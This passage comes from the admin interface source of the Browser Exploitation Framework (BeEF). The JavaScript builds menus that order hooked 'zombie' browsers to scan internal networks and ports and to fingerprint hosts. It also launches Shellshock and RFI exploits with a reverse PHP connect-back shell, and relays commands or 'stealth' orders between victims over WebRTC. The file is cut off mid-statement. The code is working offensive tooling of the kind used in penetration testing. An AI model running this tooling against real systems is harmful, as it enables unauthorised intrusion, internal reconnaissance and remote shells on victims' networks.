('+class_c+'.0/24)',\n                                                        iconCls: 'network-host-ctxMenu-network',\n                                                        handler: function() {\n                                                                var ports = prompt(\"Enter ports to scan:\", '80,8080');\n                                                                if (!ports) {\n                                                                        commands_statusbar.update_fail('Cancelled');\n                                                                        return;\n                                                                }\n                                                                var mod_id = get_module_id(\"get_http_servers\");\n                                                                commands_statusbar.update_sending('Favicon scanning ' + ip_range + ' for HTTP servers [ports: '+ports+'] ...');\n                                                                jQuery.ajax({\n                                                                        contentType: 'application/json',\n                                                                        data: JSON.stringify({\"rhosts\":ip_range,\"ports\":ports}),\n                                                                        dataType: 'json',\n                                                                        type: 'POST',\n                                                                        url: \"/api/modules/\" + zombie.session + \"/\" + mod_id + \"?token=\" + token,\n                                                                        async: false,\n                                                                        processData: false,\n                                                                        success: function(data){\n                                                                                commands_statusbar.update_sent(\"Command [id: \" + data.command_id + \"] sent successfully\");\n                                                                        },\n                                                                        error: function(){\n                                                                                commands_statusbar.update_fail('Error sending command');\n                                                                        }\n                                                                });\n                                                         }\n                                                  }]\n                                                }\n                                        },{\n\t\t\t\t\t\ttext: 'Fingerprint HTTP',\n\t\t\t\t\t\ticonCls: 'network-host-ctxMenu-fingerprint',\n\t\t\t\t\t\tmenu: {\n\t\t\t\t\t\t  xtype: 'menu',\n\t\t\t\t\t\t  items: [{\n                                                        text: 'Host ('+ip+')',\n\t\t\t\t\t\t\ticonCls: 'network-host-ctxMenu-host',\n                                                \thandler: function() {\n                                                        \tvar mod_id = get_module_id(\"internal_network_fingerprinting\");\n                                                        \tcommands_statusbar.update_sending('Fingerprinting ' + ip + '...');\n                                                        \tjQuery.ajax({\n                                                                \tcontentType: 'application/json',\n                                                                \tdata: JSON.stringify({\"ipRange\":ip+'-'+ip}),\n\t                                                                dataType: 'json',\n\t                                                                type: 'POST',\n\t                                                                url: \"/api/modules/\" + zombie.session + \"/\" + mod_id + \"?token=\" + token,\n\t                                                                async: false,\n\t                                                                processData: false,\n\t                                                                success: function(data){\n\t                                                                        commands_statusbar.update_sent(\"Command [id: \" + data.command_id + \"] sent successfully\");\n\t                                                                },\n\t                                                                error: function(){\n\t                                                                        commands_statusbar.update_fail('Error sending command');\n\t                                                                }\n\t                                                        });\n                                                \t}\n                                        \t  },{\n\t\t\t\t\t\t\ttext: 'Network ('+class_c+'.0/24)',\n\t\t\t\t\t\t\ticonCls: 'network-host-ctxMenu-network',\n                                                        handler: function() {\n\t                                                        var mod_id = get_module_id(\"internal_network_fingerprinting\");\n\t                                                        commands_statusbar.update_sending('Fingerprinting ' + ip_range + '...');\n\t                                                        jQuery.ajax({\n\t                                                                contentType: 'application/json',\n\t                                                                data: JSON.stringify({\"ipRange\":ip_range}),\n\t                                                                dataType: 'json',\n\t                                                                type: 'POST',\n\t                                                                url: \"/api/modules/\" + zombie.session + \"/\" + mod_id + \"?token=\" + token,\n\t                                                                async: false,\n\t                                                                processData: false,\n\t                                                                success: function(data){\n\t                                                                        commands_statusbar.update_sent(\"Command [id: \" + data.command_id + \"] sent successfully\");\n\t                                                                },\n\t                                                                error: function(){\n\t                                                                        commands_statusbar.update_fail('Error sending command');\n\t                                                                }\n\t                                                        });\n\t                                                 }\n\t\t\t\t\t\t  }]\n\t\t\t\t\t\t}\n\t\t\t\t\t},{\n\t\t\t\t\t\ttext: 'CORS Scan',\n\t\t\t\t\t\ticonCls: 'network-host-ctxMenu-cors',\n                                                menu: {\n                                                  xtype: 'menu',\n                                                  items: [{\n                                                        text: 'Host ('+ip+')',\n\t\t\t\t\t\t\ticonCls: 'network-host-ctxMenu-host',\n                                                        handler: function() {\n\t\t\t\t\t\t\t\tvar mod_id = get_module_id(\"cross_origin_scanner_cors\");\n                                                                var ports = prompt(\"Enter ports to scan:\", '80,8080');\n                                                                if (!ports) {\n                                                                        commands_statusbar.update_fail('Cancelled');\n                                                                        return;\n                                                                }\n\t                                                        commands_statusbar.update_sending('CORS scanning ' + ip + ' [ports: '+ports+'] ...');\n\t                                                        jQuery.ajax({\n\t                                                                contentType: 'application/json',\n\t                                                                data: JSON.stringify({\"ipRange\":ip+'-'+ip,\"ports\":ports}),\n\t                                                                dataType: 'json',\n\t                                                                type: 'POST',\n\t                                                                url: \"/api/modules/\" + zombie.session + \"/\" + mod_id + \"?token=\" + token,\n\t                                                                async: false,\n\t                                                                processData: false,\n\t                                                                success: function(data){\n\t                                                                        commands_statusbar.update_sent(\"Command [id: \" + data.command_id + \"] sent successfully\");\n\t                                                                },\n\t                                                                error: function(){\n\t                                                                        commands_statusbar.update_fail('Error sending command');\n\t                                                                }\n\t                                                        });\n                                                        }\n\t\t\t\t\t\t  },{\n                                                        text: 'Network ('+class_c+'.0/24)',\n\t\t\t\t\t\t\ticonCls: 'network-host-ctxMenu-network',\n                                                        handler: function() {\n\t                                                        var mod_id = get_module_id(\"cross_origin_scanner_cors\");\n                                                                var ports = prompt(\"Enter ports to scan:\", '80,8080');\n                                                                if (!ports) {\n                                                                        commands_statusbar.update_fail('Cancelled');\n                                                                        return;\n                                                                }\n\t                                                        commands_statusbar.update_sending('CORS scanning ' + ip_range + ' [ports: '+ports+'] ...');\n\t                                                        jQuery.ajax({\n\t                                                                contentType: 'application/json',\n\t                                                                data: JSON.stringify({\"ipRange\":ip_range,\"ports\":ports}),\n\t                                                                dataType: 'json',\n\t                                                                type: 'POST',\n\t                                                                url: \"/api/modules/\" + zombie.session + \"/\" + mod_id + \"?token=\" + token,\n\t                                                                async: false,\n\t                                                                processData: false,\n\t                                                                success: function(data){\n\t                                                                        commands_statusbar.update_sent(\"Command [id: \" + data.command_id + \"] sent successfully\");\n\t                                                                },\n\t                                                                error: function(){\n\t                                                                        commands_statusbar.update_fail('Error sending command');\n\t                                                                }\n\t                                                        });\n                                                        }\n                                                  }]\n\t\t\t\t\t\t}\n                                        },{\n                                                text: 'Flash Cross-Origin Scan',\n                                                iconCls: 'network-host-ctxMenu-flash',\n                                                menu: {\n                                                  xtype: 'menu',\n                                                  items: [{\n                                                        text: 'Host ('+ip+')',\n                                                        iconCls: 'network-host-ctxMenu-host',\n                                                        handler: function() {\n                                                                var mod_id = get_module_id(\"cross_origin_scanner_flash\");\n                                                                var ports = prompt(\"Enter ports to scan:\", '80,8080');\n                                                                if (!ports) {\n                                                                        commands_statusbar.update_fail('Cancelled');\n                                                                        return;\n                                                                }\n                                                                commands_statusbar.update_sending('Flash cross-origin scanning ' + ip + ' [ports: '+ports+'] ...');\n                                                                jQuery.ajax({\n                                                                        contentType: 'application/json',\n                                                                        data: JSON.stringify({\"ipRange\":ip+'-'+ip,\"ports\":ports}),\n                                                                        dataType: 'json',\n                                                                        type: 'POST',\n                                                                        url: \"/api/modules/\" + zombie.session + \"/\" + mod_id + \"?token=\" + token,\n                                                                        async: false,\n                                                                        processData: false,\n                                                                        success: function(data){\n                                                                                commands_statusbar.update_sent(\"Command [id: \" + data.command_id + \"] sent successfully\");\n                                                                        },\n                                                                        error: function(){\n                                                                                commands_statusbar.update_fail('Error sending command');\n                                                                        }\n                                                                });\n                                                        }\n                                                  },{\n                                                        text: 'Network ('+class_c+'.0/24)',\n                                                        iconCls: 'network-host-ctxMenu-network',\n                                                        handler: function() {\n                                                                var mod_id = get_module_id(\"cross_origin_scanner_flash\");\n                                                                var ports = prompt(\"Enter ports to scan:\", '80,8080');\n                                                                if (!ports) {\n                                                                        commands_statusbar.update_fail('Cancelled');\n                                                                        return;\n                                                                }\n                                                                commands_statusbar.update_sending('Flash cross-origin scanning ' + ip_range + ' [ports: '+ports+'] ...');\n                                                                jQuery.ajax({\n                                                                        contentType: 'application/json',\n                                                                        data: JSON.stringify({\"ipRange\":ip_range,\"ports\":ports}),\n                                                                        dataType: 'json',\n                                                                        type: 'POST',\n                                                                        url: \"/api/modules/\" + zombie.session + \"/\" + mod_id + \"?token=\" + token,\n                                                                        async: false,\n                                                                        processData: false,\n                                                                        success: function(data){\n                                                                                commands_statusbar.update_sent(\"Command [id: \" + data.command_id + \"] sent successfully\");\n                                                                        },\n                                                                        error: function(){\n                                                                                commands_statusbar.update_fail('Error sending command');\n                                                                        }\n                                                                });\n                                                        }\n                                                  }]\n                                                }\n                                        },{\n                                                text: 'Port Scan',\n                                                iconCls: 'network-host-ctxMenu-network',\n                                                menu: {\n                                                  xtype: 'menu',\n                                                  items: [{\n                                                        text: 'Common Ports',\n                                                        iconCls: 'network-host-ctxMenu-host',\n                                                        handler: function() {\n                                                                var mod_id = get_module_id(\"port_scanner\");\n                                                                var ports = '21,22,23,25,80,81,443,445,1080,8080,8081,8090,8443,3000,3128,3389,3306,5432,6379,10000,10443';\n                                                                commands_statusbar.update_sending('Port scanning ' + ip + '...');\n                                                                jQuery.ajax({\n                                                                        contentType: 'application/json',\n                                                                        data: JSON.stringify({\"ipHost\":ip,\"ports\":ports}),\n                                                                        dataType: 'json',\n                                                                        type: 'POST',\n                                                                        url: \"/api/modules/\" + zombie.session + \"/\" + mod_id + \"?token=\" + token,\n                                                                        async: false,\n                                                                        processData: false,\n                                                                        success: function(data){\n                                                                                commands_statusbar.update_sent(\"Command [id: \" + data.command_id + \"] sent successfully\");\n                                                                        },\n                                                                        error: function(){\n                                                                                commands_statusbar.update_fail('Error sending command');\n                                                                        }\n                                                                });\n                                                        }\n                                                  },{\n                                                        text: 'Specify Ports',\n                                                        iconCls: 'network-host-ctxMenu-config',\n                                                        handler: function() {\n                                                                var mod_id = get_module_id(\"port_scanner\");\n\t\t\t\t\t\t\t\tvar ports = prompt(\"Enter ports to scan:\", '1,5,7,9,15,20,21,22,23,25,26,29,33,37,42,43,53,67,68,69,70,76,79,80,88,90,98,101,106,109,110,111,113,114,115,118,119,123,129,132,133,135,136,137,138,139,143,144,156,158,161,162,168,174,177,194,197,209,213,217,219,220,223,264,315,316,346,353,389,413,414,415,416,440,443,444,445,453,454,456,457,458,462,464,465,466,480,486,497,500,501,516,518,522,523,524,525,526,533,535,538,540,541,542,543,544,545,546,547,556,557,560,561,563,564,625,626,631,636,637,660,664,666,683,740,741,742,744,747,748,749,750,751,752,753,754,758,760,761,762,763,764,765,767,771,773,774,775,776,780,781,782,783,786,787,799,800,801,808,871,873,888,898,901,953,989,990,992,993,994,995,996,997,998,999,1000,1002,1008,1023,1024,1080,8080,8443,8050,3306,5432,1521,1433,3389,10088');\n\t\t\t\t\t\t\t\tif (!ports) {\n\t\t\t\t\t\t\t\t\tcommands_statusbar.update_fail('Cancelled');\n\t\t\t\t\t\t\t\t\treturn;\n\t\t\t\t\t\t\t\t}       \n                                                                commands_statusbar.update_sending('Port scanning ' + ip + '...');\n                                                                jQuery.ajax({\n                                                                        contentType: 'application/json',\n                                                                        data: JSON.stringify({\"ipHost\":ip,\"ports\":ports}),\n                                                                        dataType: 'json',\n                                                                        type: 'POST',\n                                                                        url: \"/api/modules/\" + zombie.session + \"/\" + mod_id + \"?token=\" + token,\n                                                                        async: false,\n                                                                        processData: false,\n                                                                        success: function(data){\n                                                                                commands_statusbar.update_sent(\"Command [id: \" + data.command_id + \"] sent successfully\");\n                                                                        },\n                                                                        error: function(){\n                                                                                commands_statusbar.update_fail('Error sending command');\n                                                                        }\n                                                                });\n                                                        }\n                                                  }]\n                                                }\n\t\t\t\t\t},{\n\t\t\t\t\t\txtype: 'menuseparator'\n\t\t\t\t\t},{\n\t\t\t\t\t\ttext: 'Remove',\n\t\t\t\t\t\ticonCls: 'zombie-tree-ctxMenu-delete',\n\t\t\t\t\t\thandler: function() {\n\t\t\t\t\t\t\tvar host_id = record.get('id');\n\t\t\t\t\t\t\tif (!confirm('Are you sure you want to remove network host [id: '+host_id+', ip: '+ ip +'] ?')) {\n\t\t\t\t\t\t\t\tcommands_statusbar.update_fail('Cancelled');\n\t\t\t\t\t\t\t\treturn;\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\tcommands_statusbar.update_sending('Removing network host [id: '+ host_id +', ip: '+ ip +'] ...');\n\t\t\t\t\t\t\tjQuery.ajax({\n\t\t\t\t\t\t\t\tcontentType: 'application/json',\n\t\t\t\t\t\t\t\tdataType: 'json',\n\t\t\t\t\t\t\t\ttype: 'DELETE',\n\t\t\t\t\t\t\t\turl: \"/api/network/host/\" + host_id + \"?token=\" + token,\n\t\t\t\t\t\t\t\tasync: false,\n\t\t\t\t\t\t\t\tprocessData: false,\n\t\t\t\t\t\t\t\tsuccess: function(data){\n\t\t\t\t\t\t\t\t\ttry {\n\t\t\t\t\t\t\t\t\t\tif (data.success) {\n\t\t\t\t\t\t\t\t\t\t\tcommands_statusbar.update_sent('Removed network host successfully');\n\t\t\t\t\t\t\t\t\t\t\tExt.getCmp('network-host-grid-zombie-'+zombie.session).getStore().reload();\n\t\t\t\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\t\t\t\tcommands_statusbar.update_fail('Could not remove network host');\n\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t} catch(e) {\n\t\t\t\t\t\t\t\t\t\tcommands_statusbar.update_fail('Could not remove network host');\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t\terror: function(){\n\t\t\t\t\t\t\t\t\tcommands_statusbar.update_fail('Could not remove host');\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t});\n\t\t\t\t\t\t}\n\t\t\t\t\t}]\n\t\t\t\t  });\n                                }\n\t\t\t\tgrid.rowCtxMenu.showAt(e.getXY());\n\t\t\t},\n\t\t\tafterrender: function(datagrid) {\n\t\t\t\tdatagrid.store.reload({ params: {nonce: Ext.get (\"nonce\").dom.value} });\n\t\t\t}\n\n\t\t}\n\t});\n\t\n\tvar hosts_panel = new Ext.Panel({\n\t\tid: 'network-host-panel-zombie-'+zombie.session,\n\t\ttitle: 'Hosts',\n\t\titems:[hosts_panel_grid],\n\t\tlayout: 'fit',\n\t\tlisteners: {\n\t\t\tactivate: function(hosts_panel) {\n\t\t\t\thosts_panel.items.items[0].store.reload({ params: {nonce: Ext.get (\"nonce\").dom.value} });\n\t\t\t}\n\t\t}\n\t});\n\n        /*\n         * The panel that displays all identified network services sorted by host\n         ********************************************/\n        var services_panel_store = new Ext.ux.data.PagingJsonStore({\n\t\tstoreId: 'network-services-store-zombie-'+zombie.session,\n\t\tproxy: new Ext.data.HttpProxy({\n\t\t\turl: '/api/network/services/'+zombie.session+'?token='+token,\n\t\t\tmethod: 'GET'\n\t\t}),\n                remoteSort: false,\n                autoDestroy: true,\n                autoLoad: false,\n                root: 'services',\n                fields: ['id', 'proto', 'ip', 'port', 'type'],\n                sortInfo: {field: 'ip', direction: 'ASC'}\n        });\n\n        var services_panel_bbar = new Ext.PagingToolbar({\n                pageSize: req_pagesize,\n                store: services_panel_store,\n                displayInfo: true,\n                displayMsg: 'Displaying network services {0} - {1} of {2}',\n                emptyMsg: 'No services to display'\n        });\n\n        var services_panel_grid = new Ext.grid.GridPanel({\n                id: 'network-services-grid-zombie-'+zombie.session,\n                store: services_panel_store,\n                bbar: services_panel_bbar,\n                border: false,\n                loadMask: {msg:'Loading network services...'},\n\n                viewConfig: {\n                        forceFit: true\n                },\n\n                view: new Ext.grid.GridView({\n                        forceFit: true,\n                        emptyText: \"No services\",\n                        enableRowBody:true\n                }),\n\n                columns: [\n                        {header: 'Id', width: 5, sortable: true, dataIndex: 'id', hidden:true},\n                        {header: 'IP Address', width: 10, sortable: true, dataIndex: 'ip', renderer: function(value){return $jEncoder.encoder.encodeForHTML(value)}},\n                        {header: 'Port', width: 5, sortable: true, dataIndex: 'port', renderer: function(value){return $jEncoder.encoder.encodeForHTML(value)}},\n                        {header: 'Protocol', width: 5, sortable: true, dataIndex: 'proto', renderer: function(value){return $jEncoder.encoder.encodeForHTML(value)}},\n                        {header: 'Type', width: 20, sortable: true, dataIndex: 'type', renderer: function(value){return $jEncoder.encoder.encodeForHTML(value)}}\n                ],\n\n                listeners: {\n                        rowclick: function(grid, rowIndex) {\n                                var r = grid.getStore().getAt(rowIndex).data;\n                        },\n                        containercontextmenu: function(view, e) {\n                                e.preventDefault();\n                        },\n                        contextmenu: function(e, element, options) {\n                                e.preventDefault();\n                        },\n                        rowcontextmenu: function(grid, rowIndex, e) {\n                                e.preventDefault();\n                                grid.getSelectionModel().selectRow(rowIndex);\n\t\t\t\tif (!!grid.rowCtxMenu) {\n\t\t\t\t\tgrid.rowCtxMenu.destroy();\n\t\t\t\t} \n\t\t\t\tvar record = grid.selModel.getSelected();\n\t\t\t\tvar ip = record.get('ip');\n\t\t\t\tvar port = record.get('port');\n                                var proto = record.get('proto');\n                            grid.rowCtxMenu = new Ext.menu.Menu({\n                                items: [{\n                                            text: 'Fingerprint HTTP',\n                                            iconCls: 'network-host-ctxMenu-fingerprint',\n                                            handler: function () {\n                                                var mod_id = get_module_id(\"internal_network_fingerprinting\");\n                                                commands_statusbar.update_sending('Fingerprinting ' + ip + '...');\n                                                jQuery.ajax({\n                                                    contentType: 'application/json',\n                                                    data: JSON.stringify({\"ipRange\": ip + '-' + ip, \"ports\": port}),\n                                                    dataType: 'json',\n                                                    type: 'POST',\n                                                    url: \"/api/modules/\" + zombie.session + \"/\" + mod_id + \"?token=\" + token,\n                                                    async: false,\n                                                    processData: false,\n                                                    success: function (data) {\n                                                        commands_statusbar.update_sent(\"Command [id: \" + data.command_id + \"] sent successfully\");\n                                                    },\n                                                    error: function () {\n                                                        commands_statusbar.update_fail('Error sending command');\n                                                    }\n                                                });\n                                            }\n                                        }, {\n                                            text: 'CORS Scan',\n                                            iconCls: 'network-host-ctxMenu-cors',\n                                            handler: function () {\n                                                var mod_id = get_module_id(\"cross_origin_scanner_cors\");\n                                                commands_statusbar.update_sending('CORS scanning ' + ip + ' [port: '+port+'] ...');\n                                                jQuery.ajax({\n                                                    contentType: 'application/json',\n                                                    data: JSON.stringify({\"ipRange\": ip + '-' + ip, \"ports\": port}),\n                                                    dataType: 'json',\n                                                    type: 'POST',\n                                                    url: \"/api/modules/\" + zombie.session + \"/\" + mod_id + \"?token=\" + token,\n                                                    async: false,\n                                                    processData: false,\n                                                    success: function (data) {\n                                                        commands_statusbar.update_sent(\"Command [id: \" + data.command_id + \"] sent successfully\");\n                                                    },\n                                                    error: function () {\n                                                        commands_statusbar.update_fail('Error sending command');\n                                                    }\n                                                });\n                                            }\n                                        }, {\n                                            text: 'Shellshock Scan',\n                                            iconCls: 'network-host-ctxMenu-shellshock',\n                                            handler: function () {\n                                                var mod_id = get_module_id(\"shell_shock_scanner\");\n                                                var lhost = prompt(\"Enter local IP for connect back shell:\", 'LHOST');\n                                                if (!lhost || lhost == 'LHOST') {\n                                                    commands_statusbar.update_fail('Cancelled');\n                                                    return;\n                                                }\n                                                var lport = prompt(\"Enter local port for connect back shell:\", 'LPORT');\n                                                if (!lport || lport == 'LPORT') {\n                                                    commands_statusbar.update_fail('Cancelled');\n                                                    return;\n                                                }\n                                                alert(\"Now start your reverse shell handler on \" + lhost + ':' + lport);\n                                                commands_statusbar.update_sending('Shellshock scanning ' + ip + '...');\n                                                jQuery.ajax({\n                                                    contentType: 'application/json',\n                                                    data: JSON.stringify({\n                                                        \"rproto\": proto,\n                                                        \"rhost\": ip,\n                                                        \"rport\": port,\n                                                        \"lhost\": lhost,\n                                                        \"lport\": lport\n                                                    }),\n                                                    dataType: 'json',\n                                                    type: 'POST',\n                                                    url: \"/api/modules/\" + zombie.session + \"/\" + mod_id + \"?token=\" + token,\n                                                    async: false,\n                                                    processData: false,\n                                                    success: function (data) {\n                                                        commands_statusbar.update_sent(\"Command [id: \" + data.command_id + \"] sent successfully\");\n                                                    },\n                                                    error: function () {\n                                                        commands_statusbar.update_fail('Error sending command');\n                                                    }\n                                                });\n                                            }\n                                        }, {\n                                            text: 'RFI Scan',\n                                            iconCls: 'network-host-ctxMenu-php',\n                                            handler: function () {\n                                                var mod_id = get_module_id(\"rfi_scanner\");\n                                                var lhost = prompt(\"Enter local IP for connect back shell:\", 'LHOST');\n                                                if (!lhost || lhost == 'LHOST') {\n                                                    commands_statusbar.update_fail('Cancelled');\n                                                    return;\n                                                }\n                                                var lport = prompt(\"Enter local port for connect back shell:\", 'LPORT');\n                                                if (!lport || lport == 'LPORT') {\n                                                    commands_statusbar.update_fail('Cancelled');\n                                                    return;\n                                                }\n                                                alert(\"Now start your reverse shell handler on \" + lhost + ':' + lport);\n                                                commands_statusbar.update_sending('Shellshock scanning ' + ip + '...');\n                                                jQuery.ajax({\n                                                    contentType: 'application/json',\n                                                    data: JSON.stringify({\n                                                        \"rproto\": proto,\n                                                        \"rhost\": ip,\n                                                        \"rport\": port,\n                                                        \"lhost\": lhost,\n                                                        \"lport\": lport,\n                                                        \"payload\": \"reverse_php\"\n                                                    }),\n                                                    dataType: 'json',\n                                                    type: 'POST',\n                                                    url: \"/api/modules/\" + zombie.session + \"/\" + mod_id + \"?token=\" + token,\n                                                    async: false,\n                                                    processData: false,\n                                                    success: function (data) {\n                                                        commands_statusbar.update_sent(\"Command [id: \" + data.command_id + \"] sent successfully\");\n                                                    },\n                                                    error: function () {\n                                                        commands_statusbar.update_fail('Error sending command');\n                                                    }\n                                                });\n                                            }\n                                }]\n                            });\n                            grid.rowCtxMenu.showAt(e.getXY());\n                        },\n                    afterrender: function (datagrid) {\n                        datagrid.store.reload({params: {nonce: Ext.get(\"nonce\").dom.value}});\n                    }\n\n                }\n        });\n\n\tvar services_panel = new Ext.Panel({\n\t\tid: 'network-services-panel-zombie-'+zombie.session,\n\t\ttitle: 'Services',\n\t\titems:[services_panel_grid],\n\t\tlayout: 'fit',\n\t\tlisteners: {\n\t\t\tactivate: function(services_panel) {\n\t\t\t\tservices_panel.items.items[0].store.reload({ params: {nonce: Ext.get (\"nonce\").dom.value} });\n\t\t\t}\n\t\t}\n\t});\n\n        /*\n         * The Network tab constructor\n         ********************************************/\n\tZombieTab_Network.superclass.constructor.call(this, {\n\t\tid: 'zombie-network-tab-zombie-'+zombie.session,\n\t\ttitle: 'Network',\n\t\tactiveTab: 0,\n\t\tviewConfig: {\n\t\t\tforceFit: true,\n\t\t\tstripRows: true,\n\t\t\ttype: 'fit'\n\t\t},\n        \titems: [map_panel, hosts_panel, services_panel],\n\t\tbbar: commands_statusbar,\n\t\tlisteners: {\n\t\t}\n\t});\n\t\n};\n\nExt.extend(ZombieTab_Network, Ext.TabPanel, {});\n"
  },
  {
    "path": "extensions/admin_ui/media/javascript/ui/panel/tabs/ZombieTabRTC.js",
    "content": "//\n// Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\n/*\n * The RTC tab panel for the selected zombie browser.\n * Loaded in /ui/panel/index.html\n */\nZombieTab_Rtc = function(zombie) {\n  var zombie_id = beefwui.get_hb_id(zombie.session);\n\t\n\t// The status bar.\n\tvar commands_statusbar = new Beef_StatusBar('webrtc-bbar-zombie-'+zombie.session);\n\t// RESTful API token\n\tvar token = beefwui.get_rest_token();\n\n\t/*\n\t * The panel that displays all identified network services grouped by host\n\t ********************************************/\n\tvar rtc_events_panel_store = new Ext.ux.data.PagingJsonStore({\n\t\tstoreId: 'rtc-events-store-zombie-'+zombie.session,\n\t\tproxy: new Ext.data.HttpProxy({\n\t\t\turl: '/api/webrtc/events/'+zombie_id+'?token='+token,\n\t\t\tmethod: 'GET'\n\t\t}),\n\t\tremoteSort: false,\n\t\tautoDestroy: true,\n\t\tautoLoad: false,\n\t\troot: 'events',\n\t\tfields: ['id', 'hb_id', 'target_id', 'status', 'created_at', 'updated_at'],\n\t\tsortInfo: {field: 'id', direction: 'ASC'}\n\t});\n\n\tvar req_pagesize = 50;\n\n\tvar rtc_events_panel_bbar = new Ext.PagingToolbar({\n\t\tpageSize: req_pagesize,\n\t\tstore: rtc_events_panel_store,\n\t\tdisplayInfo: true,\n\t\tdisplayMsg: 'Displaying RTC events {0} - {1} of {2}',\n\t\temptyMsg: 'No events to display'\n\t});\n\n\tvar rtc_events_panel_grid = new Ext.grid.GridPanel({\n\t\tid: 'rtc-events-grid-zombie-'+zombie.session,\n\t\tstore: rtc_events_panel_store,\n\t\tbbar: rtc_events_panel_bbar,\n\t\tborder: false,\n\t\tloadMask: {msg:'Loading events...'},\n\t\t\n\t\tviewConfig: {\n\t\t\tforceFit: true\n\t\t},\n\t\t\n\t\tview: new Ext.grid.GridView({\n\t\t\tforceFit: true,\n\t\t\temptyText: \"No events\",\n\t\t\tenableRowBody:true\n\t\t}),\n\t\t\n\t\tcolumns: [\n\t\t\t{header: 'Id', width: 5, sortable: true, dataIndex: 'id', hidden:true},\n      {header: 'From', width: 10, sortable: true, dataIndex: 'hb_id', hidden:true},\n      {header: 'Peer', width: 10, sortable: true, dataIndex: 'target_id', renderer: function(value){\n              if (value === zombie_id) {\n                return $jEncoder.encoder.encodeForHTML(value) + \" (selected)\";\n              } else {\n                // return $jEncoder.encoder.encodeForHTML(value) + \" <img src='/ui/media/images/icons/chrome.png' style='padding-top:3px;' width='13px' height='13px'/> (\" + beefwui.get_info_from_id(value) + \")\";\n                return $jEncoder.encoder.encodeForHTML(value) + \" (\" + beefwui.get_info_from_id(value)['ip'] + \")\";\n              }\n      }},\n\t\t\t{header: 'Status', width: 20, sortable: true, dataIndex: 'status', renderer: function(value){return $jEncoder.encoder.encodeForHTML(value)}},\n\t\t\t{header: 'Created At', width: 10, sortable: true, dataIndex: 'created_at', renderer: function(value){return $jEncoder.encoder.encodeForHTML(value)}},\n\t\t\t{header: 'Updated At', width: 10, sortable: true, dataIndex: 'updated_at', renderer: function(value){return $jEncoder.encoder.encodeForHTML(value)}}\n\t\t],\n\n    listeners: {\n      contextmenu: function(e, element, options) {\n        e.preventDefault();\n      },\n      containercontextmenu: function(view, e) {\n        e.preventDefault();\n      },\n      rowcontextmenu: function(grid, rowIndex, e) {\n        e.preventDefault();\n\t\t\t\tgrid.getSelectionModel().selectRow(rowIndex);\n\t\t\t\tif (!!grid.rowCtxMenu) {\n\t\t\t\t\tgrid.rowCtxMenu.destroy();\n\t\t\t\t}\n\t\t\t\tvar record = grid.selModel.getSelected();\n        if (record.json.status===\"Connected\") {\n          grid.rowCtxMenu = new Ext.menu.Menu({\n            items: [\n              {\n                text: \"Command Peer to Stealth\",\n                handler: function() {\n                  if (zombie_id === record.json.hb_id) {\n                    var from = record.json.hb_id;\n                    var to = record.json.target_id;\n                  } else {\n                    var from = record.json.target_id;\n                    var to = record.json.hb_id;\n                  }\n                  commands_statusbar.update_sending(\"Sending stealth command\");\n                  var url = \"/api/webrtc/msg?token=\" + beefwui.get_rest_token();\n                  Ext.Ajax.request({\n                    url: url,\n                    method: 'POST',\n                    headers: {'Content-Type': 'application/json; charset=UTF-8'},\n                    jsonData: {\n                      'from': from,\n                      'to': to,\n                      'message': \"!gostealth\"\n                    },\n                    success: function(data){\n                      commands_statusbar.update_sent(\"Stealth command sent successfully\");\n                    },\n                    error: function(){\n                      commands_statusbar.update_fail(\"Error sending stealth command\");\n                    }\n                  });\n                }\n              },{\n                text: \"Execute Command Module via RTC\",\n                handler: function() {\n                  var url = \"/api/webrtc/cmdexec?token=\" + beefwui.get_rest_token();\n                  var cmd_id = prompt(\"Enter command module ID:\");\n                  if (!cmd_id || cmd_id == \"\" || isNaN(cmd_id)) {\n                    commands_statusbar.update_fail('Invalid command module ID');\n                    return;\n                  }\n                  var cmd_opts = prompt(\"Parameters:\");\n                  if (cmd_opts == \"\") {\n                    cmd_opts = \"[]\";\n                  }\n                  try {\n                    cmd_opts = JSON.parse(cmd_opts);\n                  } catch (e) {\n                    commands_statusbar.update_fail(\"Invalid JSON\")\n                    return;\n                  }\n                  if (zombie_id === record.json.hb_id) {\n                    var from = record.json.hb_id;\n                    var to = record.json.target_id;\n                  } else {\n                    var from = record.json.target_id;\n                    var to = record.json.hb_id;\n                  }\n                  commands_statusbar.update_sending(\"Sending command [id: \" + cmd_id + \"]\");\n                  Ext.Ajax.request({\n                    url: url,\n                    method: 'POST',\n                    headers: {'Content-Type': 'application/json; charset=UTF-8'},\n                    jsonData: {\n                      'from': from,\n                      'to': to,\n                      'cmdid': cmd_id,\n                      'options': cmd_opts\n                    },\n                    success: function(data){\n                      commands_statusbar.update_sent(\"Command [id: \" + cmd_id + \"] sent successfully\");\n                    },\n                    error: function(){\n                      commands_statusbar.update_fail(\"Error executing module [id: \" + cmd_id + \"]\");\n                    }\n                  });\n                }\n              }\n            ]\n          });\n          grid.rowCtxMenu.showAt(e.getXY());\n        } else if (record.json.status===\"Stealthed!!\") {\n          grid.rowCtxMenu = new Ext.menu.Menu({\n            items: [\n              {\n                text: \"Command Peer to un-stealth\",\n                handler: function() {\n                  if (zombie_id === record.json.hb_id) {\n                    commands_statusbar.update_sending(\"Sending un-stealth command\");\n                    var url = \"/api/webrtc/msg?token=\" + beefwui.get_rest_token();\n                    Ext.Ajax.request({\n                      url: url,\n                      method: 'POST',\n                      headers: {'Content-Type': 'application/json; charset=UTF-8'},\n                      jsonData: {\n                        'from': record.json.hb_id,\n                        'to': record.json.target_id,\n                        'message': \"!endstealth\"\n                      },\n                      success: function(data){\n                        commands_statusbar.update_sent(\"Un-stealth command sent successfully\");\n                      },\n                      error: function(){\n                        commands_statusbar.update_fail(\"Error sending un-stealth command\");\n                      }\n                    });\n                  }\n                }\n              },{\n                text: \"Execute Command Module via RTC\",\n                handler: function() {\n                  var url = \"/api/webrtc/cmdexec?token=\" + beefwui.get_rest_token();\n                  var cmd_id = prompt(\"Enter command module ID:\");\n                  if (!cmd_id || cmd_id == \"\" || isNaN(cmd_id)) {\n                    commands_statusbar.update_fail('Invalid command module ID');\n                    return;\n                  }\n                  var cmd_opts = 